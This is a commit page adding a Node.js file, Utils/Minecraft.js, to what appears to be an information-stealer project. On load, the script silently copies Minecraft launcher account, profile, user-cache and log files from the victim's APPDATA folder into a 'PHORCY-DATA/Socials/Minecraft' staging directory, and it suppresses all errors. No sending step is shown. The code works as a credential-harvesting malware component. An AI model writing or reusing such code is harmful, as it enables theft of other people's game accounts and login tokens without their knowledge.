Create Minecraft.js
This commit is contained in:
26
Utils/Minecraft.js
Normal file
26
Utils/Minecraft.js
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
const fs = require('fs');
|
||||||
|
const fsp = require('fs').promises;
|
||||||
|
const path = require('path');
|
||||||
|
|
||||||
|
async function minecraft() {
|
||||||
|
const mcf = path.join(process.env.APPDATA, '.minecraft');
|
||||||
|
const forward = path.join('PHORCY-DATA', 'Socials', 'Minecraft');
|
||||||
|
try {
|
||||||
|
const backupfiles = ['launcher_accounts.json', 'usercache.json', 'launcher_profiles.json', 'launcher_log.txt'];
|
||||||
|
const existing = backupfiles.some(file => fs.existsSync(path.join(mcf, file)));
|
||||||
|
if (existing) {
|
||||||
|
await fsp.mkdir(forward, { recursive: true });
|
||||||
|
for (const file of backupfiles) {
|
||||||
|
const src = path.join(mcf, file);
|
||||||
|
const dest = path.join(forward, file);
|
||||||
|
try {
|
||||||
|
await fsp.copyFile(src, dest);
|
||||||
|
} catch (err) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else { // looks weird cuz i had error handling here before
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
minecraft();
|
||||||
Reference in New Issue
Block a user